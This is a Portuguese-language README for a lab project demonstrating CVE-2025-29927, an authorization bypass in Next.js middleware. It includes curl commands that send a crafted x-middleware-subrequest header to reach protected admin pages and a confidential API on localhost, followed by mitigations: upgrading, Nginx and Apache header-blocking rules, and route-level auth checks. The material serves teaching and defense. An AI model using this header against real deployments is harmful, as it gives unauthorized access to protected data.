
Demonstra a vulnerabilidade de bypass de autorização do Middleware no Next.js (CVE-2025-29927) que permite que usuários não autorizados acessem informações protegidas.
Este repositório fornece um projeto de exemplo que demonstra a vulnerabilidade de bypass de autorização no Middleware do Next.js (CVE-2025-29927). Esta vulnerabilidade permite que usuários não autorizados acessem recursos protegidos.
CVE-2025-29927 é uma vulnerabilidade de segurança grave (pontuação CVSS: 9.1) que afeta o sistema de middleware do Next.js. Um atacante pode contornar completamente as verificações de segurança do middleware adicionando um cabeçalho x-middleware-subrequest especialmente criado na solicitação HTTP.
/admin) sem autenticação/api/confidential)npm install para instalar as dependênciasnpm run dev para iniciar o servidor de desenvolvimento Next.jshttp://localhost:3000 no navegador para ver a aparência atual do site.O Next.js usa o cabeçalho interno x-middleware-subrequest para evitar loops infinitos causados por chamadas recursivas de middleware. No entanto, este cabeçalho pode ser explorado por solicitações externas. Quando uma solicitação contém este cabeçalho e atinge a profundidade máxima de recursão (MAX_RECURSION_DEPTH), o Next.js ignora completamente a execução do middleware.
Primeiro, tente acessar o caminho protegido normalmente:
# Acessar a página de administração protegida
curl http://localhost:3000/admin/dashboard -v
Resultado esperado: Será redirecionado para a página de login (302 redirect to /login)
# Acessar a API protegida
curl http://localhost:3000/api/confidential -v
Resultado esperado: Retorna erro 401 Unauthorized
Agora, use um cabeçalho especialmente criado para ignorar o middleware:
# Ignorar a proteção do caminho /admin
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Resultado esperado: Acesso bem-sucedido ao conteúdo da página de administração (200 OK)
# Ignorar a proteção de /api/confidential
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Resultado esperado: Acesso bem-sucedido à API e obtenção de informações confidenciais (200 OK)
Você também pode usar as ferramentas de desenvolvedor do navegador para testar:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboardQuando o middleware recebe uma solicitação contendo o cabeçalho x-middleware-subrequest:
Atualize para versões corrigidas:
Se não for possível atualizar imediatamente, bloqueie solicitações que contenham o cabeçalho x-middleware-subrequest no nível do proxy reverso (Nginx, Apache, etc.):
Exemplo de configuração Nginx:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Exemplo de configuração Apache:
RequestHeader unset x-middleware-subrequest
Além do middleware, implemente verificações de autenticação nos manipuladores de rota:
// Adicione verificações de autenticação adicionais nas rotas da API
export async function GET(request) {
// Não confie apenas no middleware, verifique a autenticação aqui também
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... processar a solicitação
}